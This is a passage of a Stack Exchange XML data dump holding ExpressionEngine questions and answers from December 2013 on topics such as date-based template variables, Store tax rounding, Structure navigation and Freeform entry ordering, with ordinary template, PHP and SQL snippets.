  <row Id="17627" PostTypeId="2" ParentId="17620" CreationDate="2013-12-11T21:22:42.747" Score="2" Body="&lt;p&gt;Try making this a global variable in your config file, then you can do all the date checking in PHP. Go to &lt;a href=&quot;http://www.epochconverter.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.epochconverter.com/&lt;/a&gt; and get the start and end date of when you're closed, then add this to your config.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (time() &amp;gt; 1387497600 &amp;amp;&amp;amp; time() &amp;lt; 1388016000) {&#xA;    // Use this in your template {hours_open} and it'll show if the &#xA;    // date is between Dec 20th and Dec 27th&#xA;    $assign_to_config['hours_open'] = 'Whatever you want here.';&#xA;} else {&#xA;    // Otherwise don't show anything&#xA;    $assign_to_config['hours_open'] = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that $assign_to_config creates early parsed global variables, so you could instead set the values to TRUE or FALSE, then in your template do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if hours_open}&#xA;    Yes, we're open on this day!&#xA;{if:else}&#xA;    Sorry, closed&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="82" LastEditorUserId="82" LastEditDate="2013-12-16T21:30:04.027" LastActivityDate="2013-12-16T21:30:04.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17628" PostTypeId="1" AcceptedAnswerId="17694" CreationDate="2013-12-11T21:25:58.937" Score="3" ViewCount="135" Body="&lt;p&gt;I'm wondering of the best way to tackle the development of some custom logic for a product inside Store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to update other Store fields of a project (Length, Width, Height, etc..), based on what Modifier has been selected. For example, if a user chooses Modifier A, add 3 inches onto the height; Modifier B, add 4 inches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Store product fieldtype doesn't provide any hooks for extension, so I'm wondering if all this should be done using other custom fields and updated on template run time, or if there is a way to hook into the product custom field and do this when a product is updated in the CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts, suggestions, or ideas would be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="206" LastActivityDate="2013-12-13T23:10:23.877" Title="Recommendation for dynamic Store product data updates" Tags="|expresso-store|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17629" PostTypeId="2" ParentId="17620" CreationDate="2013-12-11T21:40:21.963" Score="3" Body="&lt;p&gt;I hear what you're saying about automating but in reality just how many holidays do you honour? It's not going to take too long to do it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create a channel for holidays and create an entry for each holiday with the entry and expiration dates set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on your template use a channel entries tag pair with show_future_entries=&quot;no&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory this will mean that your holiday entries will be shown on the days you are closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think that it would be more useful to show entries a little bit in the future to give people notice of upcoming closures. In this case there are 2 simple options;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could set the entry dates a little in advance (with a different field to display the actual closure dates)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a custom SQL query to grab entries with dates in the near future. MySQL has some really useful date handling functions so this shouldn't be too troublesome.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-11T21:40:21.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17630" PostTypeId="2" ParentId="17608" CreationDate="2013-12-11T21:56:21.660" Score="1" Body="&lt;p&gt;This is more of a comment, but my rep is too low to comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be a DB value? Any special characters in the second system folder name?&lt;/p&gt;&#xA;" OwnerUserId="2109" LastActivityDate="2013-12-11T21:56:21.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17631" PostTypeId="1" CreationDate="2013-12-11T21:56:48.733" Score="1" ViewCount="136" Body="&lt;p&gt;I recently moved a site to a new server and everything went very well. There is one page that requires http authentication to access it. One member group was not able to log in, so I reset the password for that member, but they are not still not able to log into the page and I am not able to log in as Super Admin either. If I remove the access restrictions I can access the page without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.7.2 and yes there is an .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-12-11T21:56:48.733" Title="Unable to login using HTTP Authenticate" Tags="|authentication|http|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17632" PostTypeId="1" CreationDate="2013-12-11T22:22:07.170" Score="1" ViewCount="52" Body="&lt;p&gt;I'm wondering if there's an easier way to re-order template groups on the template manager screen, something that's easier to do in bulk than clicking and dragging one at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-12-11T23:56:53.240" Title="An easy way to reorder many template groups at once" Tags="|templates|groups|orders|template-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17633" PostTypeId="1" CreationDate="2013-12-11T22:33:31.520" Score="1" ViewCount="133" Body="&lt;p&gt;I have a site that uses structure, and has a structure navigation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On the homepage, it shows all my top level nav items, which is&#xA;correct.&lt;/li&gt;&#xA;&lt;li&gt;On my /news-and-events/news page, which is a structure page&#xA;that draws from the news-and-events.group/news template, it shows the&#xA;top level pages and the news and events sub-pages in the nav, which&#xA;is correct.&lt;/li&gt;&#xA;&lt;li&gt;On /news-and-events/news/{url_title}, the nav shows only&#xA;the top level items again, which is incorrect.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The individual news pages run off the same template as /news-and-events/news, just checks segment_3, and pull in content from a separate site within MSM, so they can't be a structure listing.  I need a way to get these individual news pages to show the same nav as the news listing page, either through manipulating the structure nav tag or tricking it into thinking I'm still on the news page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-02-10T13:29:03.513" Title="Structure Nav, Non-Structure Listing Items, &amp; MSM" Tags="|structure|navigation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17634" PostTypeId="1" AcceptedAnswerId="17635" CreationDate="2013-12-11T23:17:49.880" Score="2" ViewCount="75" Body="&lt;p&gt;On a site running EE v.2.2.1, I've encountered an error that affects the display of the top tab section of the publish/edit screen. It appears to be occurring in only two channels out of about a dozen on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attaching a screenshot that shows the garbled screen and the error message, which is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice Message: Undefined index:&#xA;  field_visibility Filename: content/publish.php Line Number: 71&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pamAd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 71 in the file (expressionengine/views/content.publish.php) reads as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?=$cp_theme_url?&amp;gt;images/&amp;lt;?= ($field['field_visibility'] == &quot;y&quot;) ? 'open_eye' : 'closed_eye' ?&amp;gt;.png&quot; alt=&quot;&amp;lt;?=lang('delete')?&amp;gt;&quot; width=&quot;15&quot; height=&quot;15&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I built this site for a client a number of years ago and upgraded it to EE 2 in 2011, but I haven't really touched it since then. So I don't know what changes may have been made in the interim.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I do know is that the hosting company moved the site to a new server a couple of months ago. Of course, that may not be relevant -- or maybe it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction to fix this? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="197" LastEditDate="2013-12-12T01:18:49.430" LastActivityDate="2013-12-12T01:18:49.430" Title="PHP error on publish/edit screen - certain channels only" Tags="|php-errors|publish-layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17635" PostTypeId="2" ParentId="17634" CreationDate="2013-12-11T23:51:42.633" Score="1" Body="&lt;p&gt;To me this looks like the publish layout got corrupted. This was fixed a number of versions back, but was common in the earlier EE releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, you can simply re-save the layout, and it should reset you back to normal. You'll, of course, have to reconfigure and hidden fields or re-ordering that you had done previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdiEw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="28" LastEditDate="2013-12-12T00:24:31.420" LastActivityDate="2013-12-12T00:24:31.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17636" PostTypeId="2" ParentId="17632" CreationDate="2013-12-11T23:56:53.240" Score="2" Body="&lt;p&gt;If you have an SQL editor, like Sequel Pro, that allows you to quickly edit data in SQL tables, the &lt;code&gt;group_order&lt;/code&gt; column in the &lt;code&gt;exp_template_groups&lt;/code&gt; table is where the order is stored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the data with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select * from exp_template_groups&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fancy SQL to renumber the groups to match the ID order, or alphabetical order, also might be doable.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-12-11T23:56:53.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17637" PostTypeId="2" ParentId="17633" CreationDate="2013-12-12T00:42:23.563" Score="1" Body="&lt;p&gt;This code tells Structure Nav to always start at root and to show 2 levels of the tree all the time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Structure Nav Docs:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.buildwithstructure.com/tags/navigation/&quot; rel=&quot;nofollow&quot;&gt;http://www.buildwithstructure.com/tags/navigation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-12T00:42:23.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17638" PostTypeId="2" ParentId="17618" CreationDate="2013-12-12T01:23:26.983" Score="1" Body="&lt;p&gt;I don't know of anything that exists like this now. I think you'd have to build your own, which, I'm guessing, could be a bit of a complicated process.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-12T01:23:26.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17639" PostTypeId="2" ParentId="17592" CreationDate="2013-12-12T01:26:13.310" Score="1" Body="&lt;p&gt;You may need to do a custom query using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;query module&lt;/a&gt;. It wouldn't be too difficult to write a query to pull from the Freeform table based on an email address.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-12-12T01:26:13.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17640" PostTypeId="1" CreationDate="2013-12-12T03:02:43.997" Score="1" ViewCount="60" Body="&lt;p&gt;Since updating to Assets 2.2.2, any images that were uploaded with spaces in the file name are now completely absent from the front end. Is there a quick fix for this or do I need to go into Assets and rename all of the images?&lt;/p&gt;&#xA;" OwnerUserId="2491" LastActivityDate="2013-12-12T03:02:43.997" Title="Spaces in Image Names" Tags="|assets|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17641" PostTypeId="1" AcceptedAnswerId="17646" CreationDate="2013-12-12T06:11:50.430" Score="0" ViewCount="73" Body="&lt;p&gt;I need to send the member email to a custom field in a channel entry after member creation.  We use Profile:Edit to create a channel entry for a member immediately after creating them in the EE admin.  Currently it sets the title to the username. I would also like to pass the email address to the channel entry. &lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-12-12T11:15:59.587" Title="Sending email address to custom field with Profile:Edit" Tags="|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17643" PostTypeId="1" AcceptedAnswerId="17645" CreationDate="2013-12-12T09:23:18.507" Score="2" ViewCount="106" Body="&lt;p&gt;Is there a setting in Store somewhere that is rounding tax rates on me? I have a product in the cart for 150 with a tax rate of 23%. This should equal 34.50 in tax, and the total should be 184.50, but it is 185.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw in store 1.6.4 there was an option in general tab to 'round after tax' but this seems to be missing in 2.0.4? &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2013-12-12T10:32:26.577" LastActivityDate="2013-12-13T15:58:04.030" Title="Expresso Store rounding tax rates" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17644" PostTypeId="2" ParentId="17609" CreationDate="2013-12-12T10:05:08.710" Score="1" Body="&lt;p&gt;Try adding &lt;code&gt;parse_depth=&quot;x&quot;&lt;/code&gt; to the Stash embed, where 'x' is a number greater than 4 (which is the default).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are effectively using the embed like a snippet, so I would suggest including the embed before tag processing begins, without parsing it so that you can still pass it variables during:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed name=&quot;my_total{count}&quot; file_name=&quot;_stash:total_htva_stash&quot; process=&quot;start&quot; parse=&quot;no&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rather than &lt;code&gt;{stash:collection_name}&lt;/code&gt; use &lt;code&gt;{acompte{count}}&lt;/code&gt; in the embed.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-12-20T17:45:13.053" LastActivityDate="2013-12-20T17:45:13.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17645" PostTypeId="2" ParentId="17643" CreationDate="2013-12-12T10:26:40.147" Score="0" Body="&lt;p&gt;First I would upgrade to Store 2.1, there are a few improvements and fixes to tax calculation in the latest version (especially when discounts apply to your products).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that possibly there is some shipping or handling also affecting your cart total, which might be affecting the tax total. Either way, using your example I would expect 150 + 23% = 184.50, which is neither of the numbers you mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-12T10:26:40.147" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17646" PostTypeId="2" ParentId="17641" CreationDate="2013-12-12T11:08:54.683" Score="2" Body="&lt;p&gt;First things first... I would recommend that you &lt;em&gt;don't do this at all&lt;/em&gt; and instead find a way of using the real email field for whatever purposes you need it. Mainly because the pain of having to keep dual fields in sync will become very tedious, especially if members can update their own email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you insist on doing this there are two ways - you could use either or both:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build an extension:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/member_register/index.html#member-member-register-start&quot; rel=&quot;nofollow&quot;&gt;member_member_register_start hook&lt;/a&gt; you can take the real submitted email field and copy it to a new variable in the $_POST array named to match your custom field. The Channel Form (Safecracker) module should then take care of the rest for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;or 2. Copy to a hidden field using JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Profile:Edit is based on the Channel Form (Safecracker) module, so all it needs is a field with a &lt;code&gt;name&lt;/code&gt; attribute matching your custom field's shortname... so it would be quite trivial to write some JavaScript or jQuery that automatically copies the value of the real email field to the hidden input.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Sorry I've just realised you're talking about registrations via the control panel, not via the front end, so option 2 above wouldn't apply. You should be able to do it with option 1, but you'll need to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-create-start&quot; rel=&quot;nofollow&quot;&gt;member_create_start&lt;/a&gt; hook or the &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#extension-hooks&quot; rel=&quot;nofollow&quot;&gt;profile_register_start&lt;/a&gt; hook instead.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-12-12T11:15:59.587" LastActivityDate="2013-12-12T11:15:59.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17648" PostTypeId="2" ParentId="17633" CreationDate="2013-12-12T12:08:41.503" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:structure:nav start_from='/' max_depth=&quot;2&quot; show_depth=&quot;2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does adding show_depth help?&lt;/p&gt;&#xA;" OwnerUserId="2031" LastActivityDate="2013-12-12T12:08:41.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17649" PostTypeId="1" CreationDate="2013-12-12T12:48:17.507" Score="2" ViewCount="74" Body="&lt;p&gt;After using the &lt;strong&gt;create_user&lt;/strong&gt; tag during my cartthrob checkout process, a user is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when logging into the site, the message &lt;strong&gt;your not authorised to perform this action&lt;/strong&gt; shows and I cannot login as the created user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can be sure that the user is created with the correct password using cartthrob debugging output and also by trying to login with an incorrect password I get rejected with the incorrect password message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way Im able to get the account to sign in is by using the super-admin members panel and changing the password...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that when cartthrob is inserting the user, that something isn't going in correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2494" LastActivityDate="2013-12-16T09:51:38.213" Title="Cartthrob create_user 'your not authorised to perform this action' upon login" Tags="|cartthrob|members|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17650" PostTypeId="2" ParentId="17410" CreationDate="2013-12-12T13:11:15.173" Score="2" Body="&lt;p&gt;I have found (and apparently you have too!) that using one css file that 'imports' multiple is the way to go. I point WYGWAM to my wygwam-style.css file which includes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(&quot;/css/reset.css&quot;);&#xA;@import url(&quot;/css/dynamic-content.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reset.css is just a basic css reset that I use on the front-end of my site, so I figured it'd be best if it was included. And dynamic-content.css is the styles that I coded up for the dynamic content areas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that the body of the iframe tag within my WYGWAM field has a class of &lt;code&gt;cke_editable&lt;/code&gt;, so I ended up using that class around the content areas on my pages. Thanks for pointing out the &lt;code&gt;bodyClass&lt;/code&gt; setting! I'll use that from now on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to constrain the width of the content in the WYGWAM editor by using this css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.cke_editable.cke_editable_themed {&#xA;    width: 634px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-12-12T13:11:15.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17651" PostTypeId="1" CreationDate="2013-12-12T13:58:25.150" Score="1" ViewCount="113" Body="&lt;p&gt;I am trying to pass an entry ID which is wrapped in the super search results tag into a channel loop, and using the channel loop pagination to brow through the pages. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;{prv_template_group}/_shop-list&quot; &#xA;    entry_id=&quot;{exp:super_search:results}{entry_id}|{/exp:super_search:results}&quot;&#xA;    limit=&quot;{prv_limit}&quot;&#xA;}   &#xA;&#xA;&#xA;&#xA;{paginate}      &#xA;    &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;&#xA;          {pagination_links}&#xA;        &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I first submit the super search, it gives me the correct url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.../index.php/shop/results/search&amp;amp;category=boy&amp;amp;&amp;amp;Footwear&amp;amp;&amp;amp;&quot;Ickle+Shooz&quot;/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I click any of the pagination links, it gives me this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.../index.php/shop/results/search&amp;amp;category=boy&amp;amp;&amp;amp;Footwear&amp;amp;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another problem, it also does not seem to recognise + symbols:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.../index.php/shop/results/search&amp;amp;category=default+boy/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when you click onto a pagination link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.../index.php/shop/results/search&amp;amp;category=default%20boy/P9&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across this problem before and know how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running short of ideas!!&lt;/p&gt;&#xA;" OwnerUserId="2495" LastActivityDate="2013-12-12T13:58:25.150" Title="Super Search Pagination deleting parts of URL" Tags="|solspace|pagination|supersearch|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17652" PostTypeId="1" AcceptedAnswerId="17672" CreationDate="2013-12-12T16:40:29.960" Score="1" ViewCount="115" Body="&lt;p&gt;I'm using the Low Search Tag extension from Low. He kindly pointed me to it so that I can find upcoming events based on a Solspace Tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is correctly pulling through the events I need using the following code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results tag_name=&quot;{segment_4}&quot; websafe_separator=&quot;-&quot; low_events:unit=&quot;upcoming&quot; low_events:show_passed=&quot;no&quot;}&#xA;{title}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I need to be able to order them by the Event Start Date. It doesn't seemt o be doing this by default. I tried adding 'orderby=&quot;low_events:start&quot;' but this didn't make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if anyone else had found a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-12-13T08:03:42.497" Title="Ordering events with Low Search Results and Low Events" Tags="|low-search|solspace-tag|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17653" PostTypeId="2" ParentId="17610" CreationDate="2013-12-12T16:59:47.377" Score="2" Body="&lt;p&gt;I got it! I think at least some if the problems i had testing various versions of this were down to FF caching&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule /downloads/files/(.*).zip /index.php/log/file_downloads/$1 [L,R=301]&lt;/p&gt;&#xA;" OwnerUserId="2496" LastActivityDate="2013-12-12T16:59:47.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17654" PostTypeId="1" CreationDate="2013-12-12T17:02:03.667" Score="1" ViewCount="94" Body="&lt;p&gt;I know this issue has been mentioned before, but I can't find a solution to the problem anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why when you edit a a form submission, the fields don't appear in the order they have been set in. I know you can edit how they appear in the main entries listings, but this doesn't carry over to the edit page for each individual entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to edit the plugin to do this, but am getting no where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else found a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="2497" LastActivityDate="2013-12-13T13:33:38.383" Title="Freeform edit entry order issue" Tags="|solspace-freeform|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17655" PostTypeId="1" AcceptedAnswerId="17660" CreationDate="2013-12-12T17:30:19.030" Score="3" ViewCount="310" Body="&lt;p&gt;I am writing a plugin, and everything is working fine so far. Some of my source data includes booleans. So I want to be able to test for true or false.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if show_data}&#xA;   &amp;lt;p&amp;gt;This is some data&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it won't work. Are booleans not supported or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample of how I would like to assign a boolean.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array('show_data' =&amp;gt; true);&#xA;$str = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $array);&#xA;&#xA;return $str;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2498" LastEditorUserId="2498" LastEditDate="2013-12-12T20:02:50.340" LastActivityDate="2015-09-28T10:42:01.143" Title="How to check for a boolean field?" Tags="|templates|plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17656" PostTypeId="1" CreationDate="2013-12-12T18:20:03.080" Score="3" ViewCount="363" Body="&lt;p&gt;I'm having trouble returning the option label within a Channel:form tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected option value returns correctly using {my_drowpdown_field_name}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the option label is not returned using {my_dropdown_field_name:label}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to display a list of possible options using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {options:my_dropdown_field_name}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;    {/options:my_dropdown_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't seem to be looping through the options. I have tried replacing {option_value} with {my_dropdown_field_name}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3 and P&amp;amp;T Fieldpack 2.1.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: just to clarify, {my_dropdown_field_name:label} works fine within Channel:entries tags.&lt;/p&gt;&#xA;" OwnerUserId="2499" LastActivityDate="2014-06-05T04:58:57.437" Title="How to return P&amp;T Dropdown option label within Channel Form" Tags="|pixelandtonic|channel-form|pt-dropdown|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17658" PostTypeId="1" AcceptedAnswerId="17897" CreationDate="2013-12-12T19:41:32.410" Score="1" ViewCount="60" Body="&lt;p&gt;I have a membership site where, besides their location and other contact information, part of the member profile will include a summary of their areas of practice.  This summary will be a list of what areas their practice covers (I’ll call them service 1, service 2, service 3, etc.) and what their expertise level is - considerate, moderate, limited or none (meaning they don’t specialize in that area).  This list of services is currently at about 40 items, and the client needs to be able to add/remove services from the list at will.  In addition, the member will need to update their own areas of practice through a front-end SAEF.  Below is an example of what the might look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, someone from the public could use this information to search for a member who does &quot;considerate work in service 1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally I thought a Matrix field would be perfect due to its flexibility. However, when setting it up, I don’t think it will work as I thought.  So now I’m back to the drawing board on how to set this up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any suggestions?  